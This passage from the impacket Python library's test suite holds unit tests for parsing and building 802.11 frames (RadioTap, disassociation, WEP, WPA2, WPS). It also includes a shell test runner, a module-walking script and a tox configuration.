sys.path.insert(0,"../..") 6 | 7 | from impacket.dot11 import Dot11, Dot11Types, Dot11ManagementFrame,Dot11ManagementDisassociation 8 | from impacket.ImpactDecoder import RadioTapDecoder 9 | from binascii import hexlify 10 | import unittest 11 | 12 | class TestDot11ManagementDisassociationFrames(unittest.TestCase): 13 | 14 | def setUp(self): 15 | # 802.11 Management Frame 16 | # 17 | self.rawframe="\x00\x00\x1c\x00\xef\x18\x00\x00\xe7\x8a\xec\xb8\x3b\x00\x00\x00\x10\x02\x85\x09\xa0\x00\xb5\x9d\x60\x00\x00\x18\xa0\x00\x3a\x01\x00\x18\xf8\x6c\x76\x42\x70\x1a\x04\x54\xe3\x86\x00\x18\xf8\x6c\x76\x42\x70\x92\x08\x00\xbf\x1b\xa3\xa8" 18 | self.radiotap_decoder = RadioTapDecoder() 19 | radiotap=self.radiotap_decoder.decode(self.rawframe) 20 | 21 | self.assertEqual(str(radiotap.__class__), "impacket.dot11.RadioTap") 22 | 23 | self.dot11=radiotap.child() 24 | self.assertEqual(str(self.dot11.__class__), "impacket.dot11.Dot11") 25 | 26 | type = self.dot11.get_type() 27 | self.assertEqual(type,Dot11Types.DOT11_TYPE_MANAGEMENT) 28 | 29 | subtype = self.dot11.get_subtype() 30 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_MANAGEMENT_DISASSOCIATION) 31 | 32 | typesubtype = self.dot11.get_type_n_subtype() 33 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_MANAGEMENT_SUBTYPE_DISASSOCIATION) 34 | 35 | self.management_base=self.dot11.child() 36 | self.assertEqual(str(self.management_base.__class__), "impacket.dot11.Dot11ManagementFrame") 37 | 38 | self.management_disassociation=self.management_base.child() 39 | self.assertEqual(str(self.management_disassociation.__class__), "impacket.dot11.Dot11ManagementDisassociation") 40 | 41 | 42 | def test_01(self): 43 | 'Test Header and Tail Size field' 44 | self.assertEqual(self.management_base.get_header_size(), 22) 45 | self.assertEqual(self.management_base.get_tail_size(), 0) 46 | self.assertEqual(self.management_disassociation.get_header_size(), 2) 47 | self.assertEqual(self.management_disassociation.get_tail_size(), 0) 48 | 49 | def test_02(self): 50 | 'Test Duration field' 51 | 52 | self.assertEqual(self.management_base.get_duration(), 0x013a) 53 | self.management_base.set_duration(0x1234) 54 | self.assertEqual(self.management_base.get_duration(), 0x1234) 55 | 56 | def test_03(self): 57 | 'Test Destination Address field' 58 | 59 | addr=self.management_base.get_destination_address() 60 | 61 | self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42]) 62 | addr[0]=0x12 63 | addr[5]=0x34 64 | self.management_base.set_destination_address(addr) 65 | self.assertEqual(self.management_base.get_destination_address().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34]) 66 | 67 | def test_04(self): 68 | 'Test Source Address field' 69 | 70 | addr=self.management_base.get_source_address() 71 | 72 | self.assertEqual(addr.tolist(), [0x70,0x1A,0x04,0x54,0xE3,0x86]) 73 | addr[0]=0x12 74 | addr[5]=0x34 75 | self.management_base.set_source_address(addr) 76 | self.assertEqual(self.management_base.get_source_address().tolist(), [0x12,0x1A,0x04,0x54,0xE3,0x34]) 77 | 78 | def test_05(self): 79 | 'Test BSSID Address field' 80 | 81 | addr=self.management_base.get_bssid() 82 | 83 | self.assertEqual(addr.tolist(), [0x00,0x18,0xF8,0x6C,0x76,0x42]) 84 | addr[0]=0x12 85 | addr[5]=0x34 86 | self.management_base.set_bssid(addr) 87 | self.assertEqual(self.management_base.get_bssid().tolist(), [0x12,0x18,0xF8,0x6C,0x76,0x34]) 88 | 89 | def test_06(self): 90 | 'Test Sequence control field' 91 | self.assertEqual(self.management_base.get_sequence_control(), 0x9270) 92 | self.management_base.set_sequence_control(0x1234) 93 | self.assertEqual(self.management_base.get_sequence_control(), 0x1234) 94 | 95 | def test_07(self): 96 | 'Test Fragment number field' 97 | self.assertEqual(self.management_base.get_fragment_number(), 0x00) 98 | self.management_base.set_fragment_number(0xF1) # Es de 4 bit 99 | self.assertEqual(self.management_base.get_fragment_number(), 0x01) 100 | 101 | def test_08(self): 102 | 'Test Sequence number field' 103 | self.assertEqual(self.management_base.get_sequence_number(), 2343) 104 | self.management_base.set_sequence_number(0xF234) # Es de 12 bit 105 | self.assertEqual(self.management_base.get_sequence_number(), 0x0234) 106 | 107 | def test_09(self): 108 | 'Test Management Frame Data field' 109 | frame_body="\x08\x00" 110 | self.assertEqual(self.management_base.get_frame_body(), frame_body) 111 | 112 | def test_10(self): 113 | 'Test Management Reason Code field' 114 | self.assertEqual(self.management_disassociation.get_reason_code(), 0x0008) 115 | self.management_disassociation.set_reason_code(0x8765) 116 | self.assertEqual(self.management_disassociation.get_reason_code(), 0x8765) 117 | 118 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11ManagementDisassociationFrames) 119 | unittest.TextTestRunner(verbosity=1).run(suite) 120 | -------------------------------------------------------------------------------- /tests/dot11/test_RadioTapDecoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # sorry, this is very ugly, but I'm in python 2.5 4 | import sys 5 | sys.path.insert(0,"../..") 6 | 7 | from impacket.ImpactDecoder import RadioTapDecoder 8 | import impacket.dot11, impacket.ImpactPacket 9 | from binascii import hexlify 10 | import unittest 11 | 12 | class TestRadioTapDecoder(unittest.TestCase): 13 | 14 | def setUp(self): 15 | self.RadioTapData='\x00\x00\x20\x00\x67\x08\x04\x00\x30\x03\x1a\x25\x00\x00\x00\x00\x22\x0c\xd9\xa0\x02\x00\x00\x00\x40\x01\x00\x00\x3c\x14\x24\x11\x08\x02\x00\x00\xff\xff\xff\xff\xff\xff\x06\x03\x7f\x07\xa0\x16\x00\x19\xe3\xd3\x53\x52\x90\x7f\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\x00\x19\xe3\xd3\x53\x52\xa9\xfe\xf7\x00\x00\x00\x00\x00\x00\x00\x43\x08\x0e\x36' 16 | self.radiotap_decoder = RadioTapDecoder() 17 | self.in0=self.radiotap_decoder.decode(self.RadioTapData) 18 | self.in1=self.in0.child() 19 | self.in2=self.in1.child() 20 | self.in3=self.in2.child() 21 | self.in4=self.in3.child() 22 | self.in5=self.in4.child() 23 | self.in6=self.in5.child() 24 | 25 | def test_00(self): 26 | 'Test RadioTap decoder' 27 | self.assertEqual(str(self.in0.__class__), "impacket.dot11.RadioTap") 28 | 29 | def test_01(self): 30 | 'Test Dot11 decoder' 31 | self.assertEqual(str(self.in1.__class__), "impacket.dot11.Dot11") 32 | 33 | def test_02(self): 34 | 'Test Dot11DataFrame decoder' 35 | self.assertEqual(str(self.in2.__class__), "impacket.dot11.Dot11DataFrame") 36 | 37 | def test_03(self): 38 | 'Test LLC decoder' 39 | self.assertEqual(str(self.in3.__class__), "impacket.dot11.LLC") 40 | 41 | def test_04(self): 42 | 'Test SNAP decoder' 43 | self.assertEqual(str(self.in4.__class__), "impacket.dot11.SNAP") 44 | 45 | # def test_05(self): 46 | # 'Test ARP decoder' 47 | # self.assertEqual(str(self.in5.__class__), "ImpactPacket.ARP") 48 | 49 | # def test_05(self): 50 | # 'Test Data decoder' 51 | # self.assertEqual(str(self.in6.__class__), "ImpactPacket.Data") 52 | 53 | def test_06(self): 54 | 'Test Protocol Finder' 55 | p=self.radiotap_decoder.get_protocol(impacket.dot11.RadioTap) 56 | self.assertEqual(str(p.__class__), "impacket.dot11.RadioTap") 57 | 58 | p=self.radiotap_decoder.get_protocol(impacket.dot11.Dot11) 59 | self.assertEqual(str(p.__class__), "impacket.dot11.Dot11") 60 | 61 | p=self.radiotap_decoder.get_protocol(impacket.dot11.Dot11DataFrame) 62 | self.assertEqual(str(p.__class__), "impacket.dot11.Dot11DataFrame") 63 | 64 | p=self.radiotap_decoder.get_protocol(impacket.dot11.LLC) 65 | self.assertEqual(str(p.__class__), "impacket.dot11.LLC") 66 | 67 | p=self.radiotap_decoder.get_protocol(impacket.dot11.SNAP) 68 | self.assertEqual(str(p.__class__), "impacket.dot11.SNAP") 69 | 70 | #p=self.radiotap_decoder.get_protocol(ImpactPacket.ARP) 71 | #self.assertEqual(str(p.__class__), "ImpactPacket.ARP") 72 | 73 | #p=self.radiotap_decoder.get_protocol(ImpactPacket.Data) 74 | #self.assertEqual(str(p.__class__), "ImpactPacket.Data") 75 | 76 | # When not found, None is returned 77 | p=self.radiotap_decoder.get_protocol(impacket.dot11.Dot11WPA) 78 | self.assertEqual(p, None) 79 | 80 | suite = unittest.TestLoader().loadTestsFromTestCase(TestRadioTapDecoder) 81 | unittest.TextTestRunner(verbosity=1).run(suite) 82 | 83 | -------------------------------------------------------------------------------- /tests/dot11/test_WEPEncoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # sorry, this is very ugly, but I'm in python 2.5 4 | import sys 5 | sys.path.insert(0,"../..") 6 | 7 | import impacket.dot11 8 | import impacket.ImpactPacket 9 | from impacket.Dot11KeyManager import KeyManager 10 | from impacket.ImpactDecoder import Dot11Decoder 11 | from binascii import hexlify 12 | import unittest 13 | 14 | class TestDot11WEPData(unittest.TestCase): 15 | 16 | def setUp(self): 17 | self.dot11 = impacket.dot11.Dot11(FCS_at_end = False) 18 | 19 | # dot11.fc 20 | self.dot11.set_version(0) 21 | self.dot11.set_type_n_subtype(impacket.dot11.Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA) 22 | 23 | # dot11.fc.flags 24 | self.dot11.set_fromDS(0) 25 | self.dot11.set_toDS(1) 26 | self.dot11.set_moreFrag(0) 27 | self.dot11.set_retry(0) 28 | self.dot11.set_powerManagement(0) 29 | self.dot11.set_moreData(0) 30 | self.dot11.set_protectedFrame(1) 31 | self.dot11.set_order(0) 32 | 33 | # dot11.Data 34 | self.dot11data = impacket.dot11.Dot11DataFrame() 35 | self.dot11data.set_duration(44) 36 | self.dot11data.set_address1([0x00,0x21,0x29,0x68,0x33,0x5d]) # Bssid 37 | self.dot11data.set_address2([0x00,0x18,0xde,0x7c,0x37,0x9f]) # Source 38 | self.dot11data.set_address3([0x00,0x21,0x29,0x68,0x33,0x5d]) # Destination 39 | self.dot11data.set_fragment_number(0) 40 | self.dot11data.set_sequence_number(3439) 41 | 42 | # WEP 43 | self.wep = impacket.dot11.Dot11WEP() 44 | self.wep.set_iv(0x0c3165) 45 | self.wep.set_keyid(0) 46 | 47 | # WEPData 48 | self.wepdata = impacket.dot11.Dot11WEPData() 49 | 50 | # LLC 51 | self.llc = impacket.dot11.LLC() 52 | self.llc.set_DSAP(0xaa) 53 | self.llc.set_SSAP(0xaa) 54 | self.llc.set_control(0x03) 55 | 56 | # SNAP 57 | self.snap = impacket.dot11.SNAP() 58 | self.snap.set_OUI(0x000000) 59 | self.snap.set_protoID(0x0800) 60 | 61 | # IP 62 | self.ip = impacket.ImpactPacket.IP() 63 | self.ip.set_ip_v(0x04) 64 | self.ip.set_ip_tos(0x00) 65 | self.ip.set_ip_id(0xa607) 66 | # IP.flags 67 | self.ip.set_ip_rf(0) 68 | self.ip.set_ip_df(0) 69 | self.ip.set_ip_mf(0) 70 | # 71 | self.ip.set_ip_off(0) 72 | self.ip.set_ip_ttl(128) 73 | self.ip.set_ip_p(0x01) # ICMP 74 | self.ip.set_ip_src('192.168.1.102') 75 | self.ip.set_ip_dst('64.233.163.103') 76 | 77 | # ICMP 78 | self.icmp = impacket.ImpactPacket.ICMP() 79 | self.icmp.set_icmp_type(self.icmp.ICMP_ECHO) 80 | self.icmp.set_icmp_code(0x00) 81 | self.icmp.set_icmp_id(0x0400) 82 | self.icmp.set_icmp_seq(0x8405) 83 | 84 | # Data 85 | datastring = 'abcdefghijklmnopqrstuvwabcdefghi' 86 | self.data = impacket.ImpactPacket.Data( datastring ) 87 | 88 | # Build the protocol stack 89 | self.dot11.contains(self.dot11data) 90 | self.dot11data.contains(self.wep) 91 | self.wep.contains(self.wepdata) 92 | self.wepdata.contains(self.llc) 93 | self.llc.contains(self.snap) 94 | self.snap.contains(self.ip) 95 | self.ip.contains(self.icmp) 96 | self.icmp.contains(self.data) 97 | 98 | # Instantiated the Key Manager 99 | self.km=KeyManager() 100 | self.km.add_key([0x00,0x21,0x29,0x68,0x33,0x5b],'999cbb701ca2ef030e302dcc35'.decode('hex_codec')) 101 | 102 | def test_02(self): 103 | 'Test ICV methods' 104 | self.assertEqual(self.wepdata.get_icv(),0x00000000) 105 | self.assertEqual(self.wepdata.get_computed_icv(),0xA1F93985) 106 | self.wepdata.set_icv(0xA1F93985) 107 | self.assertEqual(self.wepdata.get_icv(), self.wepdata.get_computed_icv()) 108 | self.wepdata.set_icv(0x01020304) 109 | self.assertEqual(self.wepdata.get_icv(),0x01020304) 110 | 111 | def test_03(self): 112 | 'Test WEPData creation from scratch with encryption' 113 | 114 | #print "\nWEP Data Decrypted [%s]"%hexlify(self.wepdata.get_packet()) 115 | self.wepdata.set_icv(0xA1F93985) 116 | wep_enc=self.wep.get_encrypted_data('999cbb701ca2ef030e302dcc35'.decode('hex_codec')) 117 | #print "\nWEP Data Encrypted [%s]"%hexlify(wep_enc) 118 | self.assertEqual(wep_enc,'8d2381e9251cb5aa83d2c716ba6ee18e7d3a2c71c00f6ab82fbc54c4b014ab03115edeccab2b18ebeb250f75eb6bf57fd65cb9e1b26e50ba4bb48b9f3471da9ecf12cb8f361b0253'.decode('hex_codec')) 119 | 120 | #print "\nDot11 decrypted [%s]"%hexlify(self.dot11.get_packet()) 121 | self.wep.encrypt_frame('999cbb701ca2ef030e302dcc35'.decode('hex_codec')) 122 | #print "\nDot11 encrypted [%s]"%hexlify(self.dot11.get_packet()) 123 | 124 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11WEPData) 125 | unittest.TextTestRunner(verbosity=1).run(suite) 126 | 127 | -------------------------------------------------------------------------------- /tests/dot11/test_WPA2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # sorry, this is very ugly, but I'm in python 2.5 4 | import sys 5 | sys.path.insert(0,"../..") 6 | 7 | from impacket.dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WPA2,Dot11WPA2Data 8 | from binascii import hexlify 9 | import unittest 10 | 11 | class TestDot11WPA2Data(unittest.TestCase): 12 | 13 | def setUp(self): 14 | # 802.11 Data Frame 15 | # 16 | self.frame_orig='\x08\x49\x24\x00\x00\x21\x29\x68\x33\x5d\x00\x15\xaf\xe4\xf1\x0f\x00\x21\x29\x68\x33\x5b\xe0\x31\x1b\x13\x00\x20\x00\x00\x00\x00\x84\x7d\x6a\x30\x8c\x60\x7e\x3b\x22\xdc\x16\xc1\x4b\x28\xd3\x26\x76\x9d\x2e\x59\x96\x31\x3e\x01\x6f\x61\xa2\x59\xc8\xdc\xd3\xc4\xad\x7c\xcc\x32\xa8\x9f\xf6\x03\x02\xe1\xac\x1d\x1e\x02\x8a\xcd\x5b\x94\x20\x2d\xfc\x6e\x37\x40\x2e\x46\x17\x19\x0c\xc0\x34\x07\xae\xe7\x77\xaf\xf9\x9f\x41\x53' 17 | d = Dot11(self.frame_orig) 18 | 19 | self.assertEqual(d.get_type(),Dot11Types.DOT11_TYPE_DATA) 20 | self.assertEqual(d.get_subtype(),Dot11Types.DOT11_SUBTYPE_DATA) 21 | self.assertEqual(d.get_type_n_subtype(),Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA) 22 | 23 | data = Dot11DataFrame(d.get_body_as_string()) 24 | d.contains(data) 25 | 26 | self.wpa2_header = Dot11WPA2(data.body_string) 27 | data.contains(self.wpa2_header) 28 | 29 | self.wpa2_data = Dot11WPA2Data(self.wpa2_header.body_string) 30 | self.wpa2_header.contains(self.wpa2_data) 31 | 32 | def test_01_is_WPA2(self): 33 | 'Test WPA2Header is_WPA2 method' 34 | self.assertEqual(self.wpa2_header.is_WPA2(), True) 35 | 36 | def test_03_extIV(self): 37 | 'Test WPA2Header extIV getter and setter methods' 38 | self.assertEqual(self.wpa2_header.get_extIV(), 0x01) 39 | 40 | self.wpa2_header.set_extIV(0x00) # Es de 1 bit 41 | self.assertEqual(self.wpa2_header.get_extIV(), 0x00) 42 | 43 | def test_04_keyid(self): 44 | 'Test WPA2Header keyID getter and setter methods' 45 | self.assertEqual(self.wpa2_header.get_keyid(), 0x00) 46 | 47 | self.wpa2_header.set_keyid(0x03) # Es de 2 bits 48 | self.assertEqual(self.wpa2_header.get_keyid(), 0x03) 49 | 50 | #TODO: Test get_decrypted_data 51 | #def test_05_get_decrypted_data(self): 52 | 53 | def test_06_PNs(self): 54 | 'Test WPA2Data PN0 to PN5 getter and setter methods' 55 | # PN0 56 | self.assertEqual(self.wpa2_header.get_PN0(), 0x1b) 57 | self.wpa2_header.set_PN0(0xAB) 58 | self.assertEqual(self.wpa2_header.get_PN0(), 0xAB) 59 | 60 | # PN1 61 | self.assertEqual(self.wpa2_header.get_PN1(), 0x13) 62 | self.wpa2_header.set_PN1(0xAB) 63 | self.assertEqual(self.wpa2_header.get_PN1(), 0xAB) 64 | 65 | # PN2 66 | self.assertEqual(self.wpa2_header.get_PN2(), 0x00) 67 | self.wpa2_header.set_PN2(0xAB) 68 | self.assertEqual(self.wpa2_header.get_PN2(), 0xAB) 69 | 70 | # PN3 71 | self.assertEqual(self.wpa2_header.get_PN3(), 0x00) 72 | self.wpa2_header.set_PN3(0xAB) 73 | self.assertEqual(self.wpa2_header.get_PN3(), 0xAB) 74 | 75 | # PN4 76 | self.assertEqual(self.wpa2_header.get_PN4(), 0x00) 77 | self.wpa2_header.set_PN4(0xAB) 78 | self.assertEqual(self.wpa2_header.get_PN4(), 0xAB) 79 | 80 | # PN5 81 | self.assertEqual(self.wpa2_header.get_PN5(), 0x00) 82 | self.wpa2_header.set_PN5(0xAB) 83 | self.assertEqual(self.wpa2_header.get_PN5(), 0xAB) 84 | 85 | def test_07_data(self): 86 | 'Test WPA2Data body' 87 | data='\x84\x7d\x6a\x30\x8c\x60\x7e\x3b\x22\xdc\x16\xc1\x4b\x28\xd3\x26\x76\x9d\x2e\x59\x96\x31\x3e\x01\x6f\x61\xa2\x59\xc8\xdc\xd3\xc4\xad\x7c\xcc\x32\xa8\x9f\xf6\x03\x02\xe1\xac\x1d\x1e\x02\x8a\xcd\x5b\x94\x20\x2d\xfc\x6e\x37\x40\x2e\x46\x17\x19' 88 | self.assertEqual(self.wpa2_data.body_string, data) 89 | 90 | def test_08_mic(self): 91 | 'Test WPA2Data MIC field' 92 | mic='\x0c\xc0\x34\x07\xae\xe7\x77\xaf' 93 | self.assertEqual(self.wpa2_data.get_MIC(), mic) 94 | 95 | mic='\x01\x02\x03\x04\xff\xfe\xfd\xfc' 96 | self.wpa2_data.set_MIC(mic) 97 | self.assertEqual(self.wpa2_data.get_MIC(), mic) 98 | 99 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11WPA2Data) 100 | unittest.TextTestRunner(verbosity=1).run(suite) 101 | 102 | -------------------------------------------------------------------------------- /tests/dot11/test_helper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Copyright (c) 2003-2013 CORE Security Technologies 4 | # 5 | # This software is provided under under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # $Id$ 10 | # 11 | # Description: 12 | # Tests for helper used to build ProtocolPackets 13 | # 14 | # Author: 15 | # Aureliano Calvo 16 | 17 | # sorry, this is very ugly, but I'm in python 2.5 18 | import sys 19 | sys.path.insert(0,"../../..") 20 | 21 | 22 | import unittest 23 | import impacket.helper as h 24 | 25 | 26 | 27 | class TestHelpers(unittest.TestCase): 28 | 29 | def test_well_formed(self): 30 | class MockPacket(h.ProtocolPacket): 31 | byte_field = h.Byte(0) 32 | word_field = h.Word(1, ">") 33 | three_bytes_field = h.ThreeBytesBigEndian(3) 34 | long_field = h.Long(6, ">") 35 | aliased_bit_field = h.Bit(0,0) 36 | 37 | header_size = 4 38 | tail_size = 0 39 | 40 | p = MockPacket() 41 | p.byte_field = 1 42 | p.word_field = 2 43 | p.three_bytes_field = 4 44 | p.long_field = 8 45 | 46 | self.assertEqual(1, p.byte_field) 47 | self.assertEqual(2, p.word_field) 48 | self.assertEqual(4, p.three_bytes_field) 49 | self.assertEqual(8, p.long_field) 50 | 51 | self.assertEqual(True, p.aliased_bit_field) 52 | 53 | p.aliased_bit_field = False 54 | 55 | self.assertEqual(0, p.byte_field) 56 | 57 | self.assertEqual(p.get_packet(), MockPacket(p.get_packet()).get_packet()) # it is the same packet after reprocessing. 58 | 59 | 60 | suite = unittest.TestLoader().loadTestsFromTestCase(TestHelpers) 61 | unittest.TextTestRunner(verbosity=1).run(suite) 62 | -------------------------------------------------------------------------------- /tests/dot11/test_wps.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Copyright (c) 2003-2013 CORE Security Technologies 4 | # 5 | # This software is provided under under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # $Id$ 10 | # 11 | # Description: 12 | # Tests for WPS packets 13 | # 14 | # Author: 15 | # Aureliano Calvo 16 | 17 | 18 | # sorry, this is very ugly, but I'm in python 2.5 19 | import sys 20 | sys.path.insert(0,"../../..") 21 | 22 | 23 | import unittest 24 | from impacket import wps 25 | import array 26 | 27 | 28 | class TestTLVContainer(unittest.TestCase): 29 | 30 | def testNormalUsageContainer(self): 31 | BUILDERS={ 32 | 1: wps.StringBuilder(), 33 | 2: wps.ByteBuilder(), 34 | 3: wps.NumBuilder(2) 35 | } 36 | tlvc = wps.TLVContainer(builders=BUILDERS) 37 | 38 | KINDS_N_VALUES = ( 39 | (1, "Sarlanga"), 40 | (2, 1), 41 | (3, 1024), 42 | (4, array.array("B", [1,2,3])) 43 | ) 44 | for k,v in KINDS_N_VALUES: 45 | tlvc.append(k,v) 46 | 47 | tlvc2 = wps.TLVContainer(builders=BUILDERS) 48 | tlvc2.from_ary(tlvc.to_ary()) 49 | 50 | for k,v in KINDS_N_VALUES: 51 | self.assertEqual(v, tlvc2.first(k)) 52 | 53 | self.assertEqual(tlvc.to_ary(), tlvc2.to_ary()) 54 | self.assertEquals("Sarlanga", tlvc.first(1)) 55 | 56 | suite = unittest.TestLoader().loadTestsFromTestCase(TestTLVContainer) 57 | unittest.TextTestRunner(verbosity=1).run(suite) 58 | -------------------------------------------------------------------------------- /tests/runall.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | if [ $# -gt 0 ] 3 | then 4 | SUFFIX=$1 5 | # Only run coverage when called by tox 6 | RUN="python -m coverage run --append --rcfile=../coveragerc " 7 | RUNLOCAL="python -m coverage run --append --rcfile=./coveragerc " 8 | COVERAGE=true 9 | else 10 | SUFFIX=XX 11 | RUN=python 12 | RUNLOCAL=python 13 | COVERAGE= 14 | fi 15 | 16 | export PYTHONPATH=../:$PYTHONPATH 17 | 18 | OUTPUTFILE=/tmp/impacketoutput$SUFFIX.txt 19 | # Let's remove the OUTPUTFILE in case it exists 20 | rm -f $OUTPUTFILE 21 | 22 | # Start running the tests 23 | 24 | echo Walking modules 25 | $RUNLOCAL ./walkmodules.py 26 | 27 | echo Running __main__ on some important files 28 | $RUNLOCAL -m impacket.crypto __main__ 29 | $RUNLOCAL -m impacket.krb5.crypto __main__ 30 | $RUNLOCAL -m impacket.structure __main__ 31 | $RUNLOCAL -m impacket.dns __main__ 32 | $RUNLOCAL -m impacket.IP6_Address __main__ 33 | $RUNLOCAL -m impacket.dcerpc.v5.ndr __main__ 34 | 35 | echo Testing ImpactPacket 36 | cd ImpactPacket 37 | ./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE 38 | 39 | echo Testing dot11 40 | cd ../dot11 41 | ./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE 42 | 43 | # In some environments we don't have a Windows 2012 R2 Domain Controller, 44 | # so skip these tests. 45 | cd ../SMB_RPC 46 | echo test_spnego.py 47 | $RUN test_spnego.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 48 | echo test_ntlm.py 49 | $RUN test_ntlm.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 50 | 51 | if [ -z "$NO_REMOTE" ]; then 52 | echo Testing SMB RPC/LDAP 53 | export PYTHONPATH=../../:$PYTHONPATH 54 | echo test_smb.py 55 | $RUN test_smb.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 56 | echo test_ldap.py 57 | $RUN test_ldap.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 58 | echo test_nmb.py 59 | $RUN test_nmb.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 60 | ./rundce.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE 61 | fi 62 | cd .. 63 | 64 | echo Testing MISC 65 | cd misc 66 | export PYTHONPATH=../../:$PYTHONPATH 67 | echo test_dpapi.py 68 | $RUN test_dpapi.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 69 | cd .. 70 | 71 | if [ $COVERAGE ] 72 | then 73 | # Combine coverage and produce report 74 | echo "Combining coverage data" 75 | mv .coverage .coveragetmp 76 | coverage combine .coveragetmp ImpactPacket/.coverage dot11/.coverage SMB_RPC/.coverage misc/.coverage 77 | coverage html -i 78 | coverage erase 79 | rm -f ImpactPacket/.coverage dot11/.coverage SMB_RPC/.coverage misc/.coverage 80 | fi 81 | 82 | if grep -q ERROR $OUTPUTFILE; 83 | then 84 | echo "ERRORS found, look at $OUTPUTFILE" 85 | exit 1 86 | else 87 | echo "NO ERRORS found, congrats!" 88 | rm $OUTPUTFILE 89 | exit 0 90 | fi 91 | 92 | echo ================================================================================ 93 | echo IMPORTANT: Dont forget to remove all the .coverage files from tests/* and subdirs 94 | echo if you want newly freshed coverage stats 95 | echo ================================================================================ 96 | -------------------------------------------------------------------------------- /tests/walkmodules.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # From https://stackoverflow.com/questions/1707709/list-all-the-modules-that-are-part-of-a-python-package 3 | import pkgutil 4 | import impacket 5 | package=impacket 6 | for importer, modname, ispkg in pkgutil.walk_packages(path=package.__path__, 7 | prefix=package.__name__+'.', 8 | onerror=lambda x: None): 9 | try: 10 | __import__(modname) 11 | except Exception as e: 12 | import traceback 13 | traceback.print_exc() 14 | print str(e) 15 | pass 16 | -------------------------------------------------------------------------------- /tox.ini: -------------------------------------------------------------------------------- 1 | # content of: tox.ini , put in same dir as setup.py 2 | [tox] 3 | #envlist = py26#, py27,py36 4 | envlist = py27#,py36 5 | [testenv] 6 | basepython = 7 | py26: python2.6 8 | py27: python2.7 9 | py36: python3.6 10 | changedir = {toxinidir}/tests 11 | deps=-rrequirements.txt 12 | py26: wheel==0.29.0 13 | coverage 14 | passenv = NO_REMOTE 15 | commands=./runall.sh {envname} > /dev/null 16 | --------------------------------------------------------------------------------